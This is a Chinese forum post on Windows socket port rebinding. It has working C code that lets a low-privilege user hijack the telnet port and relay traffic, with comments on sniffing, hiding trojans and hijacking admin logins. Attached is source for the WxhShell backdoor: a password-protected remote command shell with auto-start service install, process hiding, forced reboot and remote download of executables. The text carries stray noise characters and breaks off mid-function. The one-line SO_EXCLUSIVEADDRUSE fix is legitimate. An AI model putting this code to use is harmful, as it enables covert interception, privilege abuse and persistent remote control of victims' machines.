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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: &HZ"<y{j  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); K}! VY`  
1c+[S]7rY  
  saddr.sin_family = AF_INET; X )g <F  
i~.L{K  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Al' sY^B  
qV^,muyoG  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); SukRJvi  
SH5GW3\h  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 vQ26U(7\>  
FrB}2  
  这意味着什么?意味着可以进行如下的攻击: SS@# $t:  
=R?NOWrDY  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 oC.:mI  
gn#4az3@e>  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) KS1Z&~4  
"F}a nPY  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 #U(dleT8  
VL&E2^*E  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ?7/n s>}  
lySeq^y?Q  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 l)HF4#Bs  
kOx2P(UAEx  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 *>9#a0cp  
r2qxi'  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 9]Uvy|  
NHPpHY3^.  
  #include rH$0h2  
  #include QrHI}r  
  #include ul>$vUbyf  
  #include    0^5SL/2  
  DWORD WINAPI ClientThread(LPVOID lpParam);   "<t/*$42  
  int main() ShxB!/s  
  { P+wV.pF|  
  WORD wVersionRequested; J,_I$* _0  
  DWORD ret; wH3FCfvm  
  WSADATA wsaData; e$45OL  
  BOOL val; |Xlc2?e  
  SOCKADDR_IN saddr; .&T JSIx$  
  SOCKADDR_IN scaddr; >mgbs>  
  int err; cx&jnF#$  
  SOCKET s; Gc<Jx|Q7  
  SOCKET sc; 5qGRz"\p~  
  int caddsize; kb Fr  
  HANDLE mt; W r );A{  
  DWORD tid;   sF C&DTb?  
  wVersionRequested = MAKEWORD( 2, 2 ); S92'\2  
  err = WSAStartup( wVersionRequested, &wsaData ); 6I.N:)=  
  if ( err != 0 ) { !O-q13\Y  
  printf("error!WSAStartup failed!\n"); /Tv=BXL-  
  return -1; Y [0 S  
  } F=EAD3  
  saddr.sin_family = AF_INET; t7H2z}06=h  
   fJtJ2xi  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 - (VV  
|qE"60&"}  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); :(c2YZ   
  saddr.sin_port = htons(23); KwlN  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?<YtlqL  
  { p{"p<XFyO  
  printf("error!socket failed!\n"); 2fT't"gw  
  return -1; ?>N82#9Q  
  }  (d |  
  val = TRUE; WLV'@$<|(  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 @] 1E~  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ]F r+cP  
  { su<_?'uH  
  printf("error!setsockopt failed!\n"); Hv>A$x$q  
  return -1; UR ck#5  
  } /ZlW9|  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; N#Bg`:!  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 YES!?^}  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 $g$~TuA w  
UB@>i3  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) [-f0s;F1%  
  { 8RbtI4  
  ret=GetLastError(); ;TD<\1HJT=  
  printf("error!bind failed!\n"); f(=yC} si  
  return -1; w:I^iI .  
  } (k"|k  
  listen(s,2); >P/kb fPA  
  while(1) O66\s q  
  { ' jR83A*  
  caddsize = sizeof(scaddr); 1wmS?  
  //接受连接请求 G'q7@d {'  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 7Av/ZS  
  if(sc!=INVALID_SOCKET) L;I .6<K.  
  { b{)9 ?%_  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 4NUCLr7Y  
  if(mt==NULL) aD8cqVhM3&  
  { =\e}fyuK  
  printf("Thread Creat Failed!\n"); @g(N!n~  
  break; VV)PSodb  
  } wxB?}   
  } s<5q%5ix3  
  CloseHandle(mt); k{Vc5F  
  } d{0b*l%  
  closesocket(s); 2/sD#vC  
  WSACleanup(); "Y }f"X|  
  return 0; Q4{%)}2$  
  }   73P=<3  
  DWORD WINAPI ClientThread(LPVOID lpParam) ePa:_?(  
  { Ij(S"P@  
  SOCKET ss = (SOCKET)lpParam; e]!Vxn3  
  SOCKET sc; \O/" F;  
  unsigned char buf[4096]; 9xP{#Qa  
  SOCKADDR_IN saddr; p/ pVMR  
  long num; [@U8&W  
  DWORD val; \)eHf 7H  
  DWORD ret; 8 Mp2MZ*p  
  //如果是隐藏端口应用的话,可以在此处加一些判断 )|@b GEk  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   C6,GgDH`  
  saddr.sin_family = AF_INET; bI TOA  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); U8]L3&~  
  saddr.sin_port = htons(23); gP/[=:  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~fI&F|  
  { D$q"k"  
  printf("error!socket failed!\n"); FXV=D_G}  
  return -1; bYQ h{q  
  } OOQf a#~k  
  val = 100; !CtY.Lp  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 0a QtJ0e16  
  { 4A^hP![c#]  
  ret = GetLastError(); sSd  
  return -1; >hoIJZP,  
  } hE\,4c1  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) y$r^UjJEO  
  { -b~MQ/, 2  
  ret = GetLastError(); >s1FTB-$W  
  return -1; OHssUt  
  } 'G>Ejh@t  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) E"!9WF(2t5  
  { $5GvF1  
  printf("error!socket connect failed!\n"); 96]lI3 c  
  closesocket(sc); o m`r^3,  
  closesocket(ss); |2CW!is  
  return -1; {.bLh 0  
  } cCFSPT2fq[  
  while(1) '[-gK n  
  { qnW5I_]  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Ox?LVRvxI  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 fpM 4q  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 -?e~dLu  
  num = recv(ss,buf,4096,0); )~_!u}+:(  
  if(num>0) Vm'ReH  
  send(sc,buf,num,0); `=uCp^ +v  
  else if(num==0) G(JvAe]r  
  break; ?Ee?Ol?i2  
  num = recv(sc,buf,4096,0); .2Q`. o)  
  if(num>0) fbB(W E+  
  send(ss,buf,num,0); BT 98WR"\  
  else if(num==0) -yg9ug  
  break; ^4Tr @g#]"  
  } h?.6e9Y4  
  closesocket(ss); ZgtW  
  closesocket(sc); <%JdQ82?  
  return 0 ; ]O<Yr'  
  } [Qy]henK  
on*?O O'  
AbZ:AJ(  
==========================================================  1k2Ck  
NxNR;wz>l  
下边附上一个代码,,WXhSHELL >G' NI?$  
m4 E 6L  
========================================================== (z2)<_bXJ  
s?~Abj_  
#include "stdafx.h" ;Zj Qy,H%  
i.cSD%*  
#include <stdio.h> jA=uK6m  
#include <string.h> XS9k&~)*  
#include <windows.h> /Ia=/Jj7N  
#include <winsock2.h> ;TmwIZ  
#include <winsvc.h> ?j8CkqX!  
#include <urlmon.h> VQPq+78  
!\ y_ik  
#pragma comment (lib, "Ws2_32.lib") GaRL]w  
#pragma comment (lib, "urlmon.lib") #%k5s?cP@  
s<:"rw`  
#define MAX_USER   100 // 最大客户端连接数 Lrq+0dI 65  
#define BUF_SOCK   200 // sock buffer L}>9@?;GW  
#define KEY_BUFF   255 // 输入 buffer *sAoYx  
L2{tof  
#define REBOOT     0   // 重启 &`@,mUi{Ac  
#define SHUTDOWN   1   // 关机 eqeVz`  
T:; e73  
#define DEF_PORT   5000 // 监听端口 k B2+ Tr  
T%P 0M*  
#define REG_LEN     16   // 注册表键长度 y::KjB 0  
#define SVC_LEN     80   // NT服务名长度 g'pE z  
jq.@<<j|$  
// 从dll定义API bI]1!bi]i  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); M/UJb1<  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); v#-%_V>ph  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^o,@9GT s  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); aEZl ICpU7  
Yo7ctwzdH;  
// wxhshell配置信息 7t@jj%F  
struct WSCFG { OE4 2{?)  
  int ws_port;         // 监听端口 O,^,G<`  
  char ws_passstr[REG_LEN]; // 口令 !m_'<=)B4~  
  int ws_autoins;       // 安装标记, 1=yes 0=no /&kZ)XOi  
  char ws_regname[REG_LEN]; // 注册表键名 /^4)V8D_S  
  char ws_svcname[REG_LEN]; // 服务名 {\]SvoJnJ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 i]Kq  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 `awk@  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 s)]|zu0"Ku  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 3c9v~5og4  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"  |2n2  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 B"+Ygvxb  
?\c*DNM'  
}; >St  
pM X7Rl  
// default Wxhshell configuration nH[@EL  
struct WSCFG wscfg={DEF_PORT, =FwFqjvl  
    "xuhuanlingzhe", i g?]kZ  
    1, M.|hnGX N  
    "Wxhshell", , / 4}CM  
    "Wxhshell", )Xg#x:  
            "WxhShell Service", P6IhpB59  
    "Wrsky Windows CmdShell Service", dX+DE(y  
    "Please Input Your Password: ", {{2ZWK 6|  
  1, w7dG=a&  
  "http://www.wrsky.com/wxhshell.exe", `0 .5aa  
  "Wxhshell.exe" N|7._AR2  
    }; [0J0<JnK  
8(g:i#~  
// 消息定义模块 (F_#LeJ|  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !sR`]0  
char *msg_ws_prompt="\n\r? for help\n\r#>"; { 0Leua  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; D, 3x:nK  
char *msg_ws_ext="\n\rExit."; s \kkD *  
char *msg_ws_end="\n\rQuit."; (U|W=@8`  
char *msg_ws_boot="\n\rReboot..."; 6J&L5E  
char *msg_ws_poff="\n\rShutdown..."; 4|Z3;;%+  
char *msg_ws_down="\n\rSave to "; <Pf W  
'9^x"U9c  
char *msg_ws_err="\n\rErr!"; ~~yo& ]  
char *msg_ws_ok="\n\rOK!"; U)c,ZxE  
d]a*)m&  
char ExeFile[MAX_PATH]; fmloh1{4  
int nUser = 0; u1>|2D  
HANDLE handles[MAX_USER]; \W*ouH  
int OsIsNt; *4r;H2%c  
%X#Wc:b  
SERVICE_STATUS       serviceStatus; d3Y#_!)  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ux-Fvwoh  
&|gn%<^  
// 函数声明 T.&^1qWWA  
int Install(void); >gVR5o  
int Uninstall(void); 4}?Yp e-  
int DownloadFile(char *sURL, SOCKET wsh); 2;6p2GNSh  
int Boot(int flag); PW.W.<CL  
void HideProc(void); Vl'|l)b4W  
int GetOsVer(void); t|%iW%m4  
int Wxhshell(SOCKET wsl); o1kLT@VCl  
void TalkWithClient(void *cs); oOJN?97!k  
int CmdShell(SOCKET sock); _>&zhw2  
int StartFromService(void); IURi90Ir  
int StartWxhshell(LPSTR lpCmdLine); L! Q&?xP  
}{ 9E~"_[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); vp-)$f&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >F@7}Y(  
Ym0Xl(Se  
// 数据结构和表定义 9Y*6AaKE6  
SERVICE_TABLE_ENTRY DispatchTable[] = &a-:ZA@  
{ 1 3  
{wscfg.ws_svcname, NTServiceMain}, T`f9 jD  
{NULL, NULL} 6C) G  
}; KVqQOh'_T  
"1`c^  
// 自我安装 Ok O;V6`  
int Install(void) +mV4Ty  
{ 2<Ub[R  
  char svExeFile[MAX_PATH]; tjO||]I  
  HKEY key;  ZY keW  
  strcpy(svExeFile,ExeFile); m"@M~~bh  
m",$M>  
// 如果是win9x系统,修改注册表设为自启动 0nA17^W  
if(!OsIsNt) { UAH} ])U  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q6/ o.j   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); IXX^C}\,  
  RegCloseKey(key); g4%x7#vz0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { TvMY\e  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f{5)yZ`J*  
  RegCloseKey(key); ZK_IK)g  
  return 0; _Z5l Nu  
    } USe"1(|E  
  } [#uX{!q'  
} h^34{pKDn  
else { \asF~P  
r~TiJ?8I  
// 如果是NT以上系统,安装为系统服务 3}n=od=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &bnF{~<\  
if (schSCManager!=0) 3(6i6 vV  
{ 0qZ{:}`3  
  SC_HANDLE schService = CreateService -4Y}Y5 9\  
  ( #Rjm3#gc  
  schSCManager, 5GT,:0  
  wscfg.ws_svcname, op&,&  
  wscfg.ws_svcdisp, 3"!2C,3c#  
  SERVICE_ALL_ACCESS, f{WJM>$:  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $U"/.Mh\  
  SERVICE_AUTO_START, %+FM$xyJ  
  SERVICE_ERROR_NORMAL, o<@2zhuhrx  
  svExeFile, ;z)$wH0xc  
  NULL, #C4  
  NULL, S #&HB  
  NULL, BeaX 0#\  
  NULL, 8r)eiERv  
  NULL ;Z C18@  
  ); IS]03_uQ  
  if (schService!=0) Wky~hm  
  { 3 +BPqhzf  
  CloseServiceHandle(schService); 26.iFt/:  
  CloseServiceHandle(schSCManager); mkrvWZjZX  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~$!eB/6ty  
  strcat(svExeFile,wscfg.ws_svcname); ZEUd?"gaR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { E=sBcb/v  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); u#la+/   
  RegCloseKey(key); pRUN [[L  
  return 0; 0%`\ 8  
    } m{(D*Vuqd  
  } 1S0Hc5vw  
  CloseServiceHandle(schSCManager);  6<sB   
} u%VO'}Gz  
} <74q]C  
-H'_%~OV(  
return 1; 7 fqK{^ L  
} Wq F(  
eey <:n/Z  
// 自我卸载 >:Xzv  
int Uninstall(void) eV1O#FLbi  
{ 0f;L!.eP  
  HKEY key;  L~I<y;x  
PIB|&I|p  
if(!OsIsNt) { Xdq2.:\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G/2@ Mn-  
  RegDeleteValue(key,wscfg.ws_regname); zd>[uIOR  
  RegCloseKey(key); "g>uNtt~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1K0 9iB  
  RegDeleteValue(key,wscfg.ws_regname); r7JILk  
  RegCloseKey(key); n_.2B$JD  
  return 0; DY~~pi~  
  } }@SZ!-t%rD  
} K]N^6ome  
} yY[[)  
else { ;9=9D{-4+  
UyD=x(li  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); IOvYvFUUJ  
if (schSCManager!=0) 1g2%f9G  
{ C.%iQx`   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _Dwn@{[(8  
  if (schService!=0) J);1Tpm  
  { 0pBlmPafY  
  if(DeleteService(schService)!=0) { \eI )(,A  
  CloseServiceHandle(schService); :==kC672  
  CloseServiceHandle(schSCManager); <W|{zAyv  
  return 0; [-s0'z  
  } rS>njG;R  
  CloseServiceHandle(schService); ,XI,B\eNk  
  } V6BCW;   
  CloseServiceHandle(schSCManager); FL(gwfL  
} Uc<B)7{'  
} Fr/8q:m &  
Ds&)0Iwf  
return 1; $T1 D ?X  
} l OI(+74  
xyBe*,u  
// 从指定url下载文件 xg. d)n  
int DownloadFile(char *sURL, SOCKET wsh) 2ZNTg@o  
{ XHlPjw  
  HRESULT hr; - FA#hUK$  
char seps[]= "/"; m-*du(  
char *token; o+/x8:   
char *file; 76zi)f1f  
char myURL[MAX_PATH]; N@?Fpmu/k  
char myFILE[MAX_PATH]; fVb&=%e  
DWm$:M4 z  
strcpy(myURL,sURL); /_ o1b_1 U  
  token=strtok(myURL,seps); w/h?, L|  
  while(token!=NULL) c}g^wLa  
  { VSmshld  
    file=token; 3AX/A+2  
  token=strtok(NULL,seps); 4K[U*-\"  
  } m`4Sp#m  
b==<7[8  
GetCurrentDirectory(MAX_PATH,myFILE); D-E30b]e  
strcat(myFILE, "\\"); @"'1"$  
strcat(myFILE, file); 19 bP0y  
  send(wsh,myFILE,strlen(myFILE),0); 'JKFEUzM  
send(wsh,"...",3,0); L$i&>cF\_>  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {xr4CDP  
  if(hr==S_OK) vxk1RL*Xu  
return 0; Z3~$"V*ZB{  
else RfEmkb<9Z  
return 1; ASR"<]  
}y x'U 3  
} `<b 3e(A  
$@}6P,mg  
// 系统电源模块 pRPz1J$58  
int Boot(int flag) 1ncY"S/VO  
{ My,ki:V?g6  
  HANDLE hToken; `fY~Lv{4d_  
  TOKEN_PRIVILEGES tkp; bkLm]n3  
ZK{VQ~  
  if(OsIsNt) { w[~$.FM/  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4F)z-<-b  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); R`!x<J  
    tkp.PrivilegeCount = 1; 2}b1PMpZG  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; W*}q;ub;  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 8`U5/!6fu  
if(flag==REBOOT) { 8QXxRD;0:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Beiz*2-}a  
  return 0; =HQH;c"  
} {%N*AxkvId  
else { `:}GE@]  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) f|1y?w?I  
  return 0; FC.y%P,  
}  [^8*9?i4  
  } ]lXTIej`dy  
  else { VkRvmKYl  
if(flag==REBOOT) { _;G"{e.=  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )?K3nr  
  return 0; kzbgy)PK3  
} Nye Ga  
else { {h7*a=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )DI/y1  
  return 0; D?) "Z$  
} "m3u}!`3  
} H9x xId?3u  
vaxNF%^~yN  
return 1; qCc'w8A  
} >C*q  
gk>A  
// win9x进程隐藏模块 1YTnOiYS1  
void HideProc(void) 7M<7^)9  
{ H8`K?SXU  
;k9s@e#a  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 2(\~z@g  
  if ( hKernel != NULL ) :eo2t>zF-<  
  { 71z$a  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); i jg'X#E  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); QukLsl]U  
    FreeLibrary(hKernel); cZe,l1$  
  } fM]zD/ g  
@-NdgM<  
return; >Yl?i&3n  
} Y`uL4)hR5  
9mEC|(m*WK  
// 获取操作系统版本 G)?VC^Q  
int GetOsVer(void) 2~<?E`+  
{ ?>*i8*  
  OSVERSIONINFO winfo; Be68 Fu0  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); J)6RXt*!  
  GetVersionEx(&winfo); m;>HUTj  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) $A`D p{e"  
  return 1; ac6L3=u\  
  else i5T&1W i  
  return 0; Hq?-e?Nc  
} ]S[M]-I  
 O3bo3Cm$  
// 客户端句柄模块 k#_B^J&d  
int Wxhshell(SOCKET wsl) EEEYNu/4/  
{ nbj&3z,  
  SOCKET wsh; *[]7l]XK.  
  struct sockaddr_in client; V*@pmOhz  
  DWORD myID; $z"3_4a  
zqh.U @  
  while(nUser<MAX_USER) xL3-(K6e  
{ 2j9Mr  
  int nSize=sizeof(client); +/'3=!oyd  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <Td4 o&JR  
  if(wsh==INVALID_SOCKET) return 1; Ob$| IH8.  
]x8 ^s  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _5uzu6:y  
if(handles[nUser]==0) ?B.>VnYZ/a  
  closesocket(wsh); NRe{0U}nO  
else R#eY@N}\  
  nUser++; 9YS&RBJu  
  } MKq:=^w  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); jc) [5i0  
yANk(  
  return 0; )R.y>Ucb0  
} {x{e?c!  
oswS<t{Z  
// 关闭 socket g)c<\%  
void CloseIt(SOCKET wsh)  3=@94i  
{ Lgw!S~0  
closesocket(wsh); 7SOi9JU_  
nUser--; 1|_jV7`Mz  
ExitThread(0); RwJ#G7S#  
} ^iAOz-H  
0\*[7!`s  
// 客户端请求句柄 V +j58Wuf  
void TalkWithClient(void *cs) {XAm3's  
{ 3@P 2]Q~D  
=oz$uD}?  
  SOCKET wsh=(SOCKET)cs; VX0q!Q  
  char pwd[SVC_LEN]; w7aC=B/{?i  
  char cmd[KEY_BUFF]; wPdp!h7B~N  
char chr[1]; / qp)n">  
int i,j; !?!~8J~  
</~!5x62Oy  
  while (nUser < MAX_USER) { vDl6TKXcu  
*\ZK(/V  
if(wscfg.ws_passstr) { Y~@@{zP  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); faH113nc  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y qDE|DIez  
  //ZeroMemory(pwd,KEY_BUFF); g*t(%;_m  
      i=0; B=?4; l7  
  while(i<SVC_LEN) { =s3f{0G  
Z<+Ipj&  
  // 设置超时 }@JPvI E  
  fd_set FdRead; MD`1KC_m  
  struct timeval TimeOut; n HiE$Y  
  FD_ZERO(&FdRead); \0. c_  
  FD_SET(wsh,&FdRead);  zE$KU$  
  TimeOut.tv_sec=8; it?l! ~  
  TimeOut.tv_usec=0; Ps=OL\i  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); o ;nw;]oR  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,.Xqb~  
cF6eMml;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !5 8j xh  
  pwd=chr[0]; i%RN0UO^  
  if(chr[0]==0xd || chr[0]==0xa) { yn&+ >{  
  pwd=0; 5~ho1Ud  
  break; PU| X+V>  
  } wCT. (d_  
  i++; `rt?n|*QF  
    } mWhQds6  
Ci{,e%  
  // 如果是非法用户,关闭 socket M A9Oi(L)K  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 19V  
} jN. '%5Q?H  
R`%C]uG  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !yxb=>A  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =Yd{PZ*fR  
!2]eVO  
while(1) { l]:nncpns  
CVo2?ZQ  
  ZeroMemory(cmd,KEY_BUFF); urM=l5Sx  
bo>4:i  
      // 自动支持客户端 telnet标准   QPL6cU$&R  
  j=0; _wvSLu<q  
  while(j<KEY_BUFF) { o u%Xnk~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7r,s+u.  
  cmd[j]=chr[0]; *Cs RO  
  if(chr[0]==0xa || chr[0]==0xd) { LI`L!6^l  
  cmd[j]=0; Y`secUg  
  break; Sxn#  
  } 2QU ZBrs s  
  j++; A:{PPjs%LA  
    } fV}:eEo|Y  
oRJ!J-Z]  
  // 下载文件 =1/d>kke  
  if(strstr(cmd,"http://")) { '*`25BiQ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); .O h4b5  
  if(DownloadFile(cmd,wsh)) HLD8W8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]Tv0+ Ao  
  else ape \zZCV  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C2$_Ad=s  
  } j=&]=0F  
  else { 0[\^Y<ec  
P1gW+*?  
    switch(cmd[0]) { R&lJ& SgC  
  A>C&`A=-  
  // 帮助 MM+x}g.?  
  case '?': { >h!>Ll  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); V'-}B6 3S>  
    break; >M2~BDZ  
  } !z EW)  
  // 安装 Z4&,KrV  
  case 'i': { 8[PD`*w  
    if(Install()) Z%rMX}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !+<OED=qe  
    else iZ^tLnc  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {c(@u6l28  
    break; 6\9 Zc-%  
    } ()Tl\  
  // 卸载 ]U4)2s  
  case 'r': { =hw&2c  
    if(Uninstall()) `f|Gw5R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jyLE  
    else +n'-%?LD&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9a$\l2  
    break; 26e.Hu  
    } 4Go$OQ`  
  // 显示 wxhshell 所在路径 d ynq)lf  
  case 'p': { 80'!XKSP  
    char svExeFile[MAX_PATH]; :kQ%Mj>  
    strcpy(svExeFile,"\n\r"); M/d6I$~7z  
      strcat(svExeFile,ExeFile); ?W27 h  
        send(wsh,svExeFile,strlen(svExeFile),0); =x &"aF1  
    break; O4+a[82  
    } Zy J-}[z  
  // 重启 >.xg o6  
  case 'b': { f4mQDRlD  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *v}3So  
    if(Boot(REBOOT)) d~ |/LR5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?z[k.l+6w  
    else { i".nnAI:  
    closesocket(wsh); ji&%'h  
    ExitThread(0); 4#MPD  
    } e`7dRnx&0  
    break; E!s?amM4  
    } c}-WK*v  
  // 关机 %v"qFYVX"  
  case 'd': { bTd94  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _rN1(=J  
